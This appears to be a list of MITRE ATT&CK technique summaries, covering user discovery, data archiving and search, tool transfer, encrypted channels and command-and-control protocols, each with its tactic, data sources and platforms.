Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre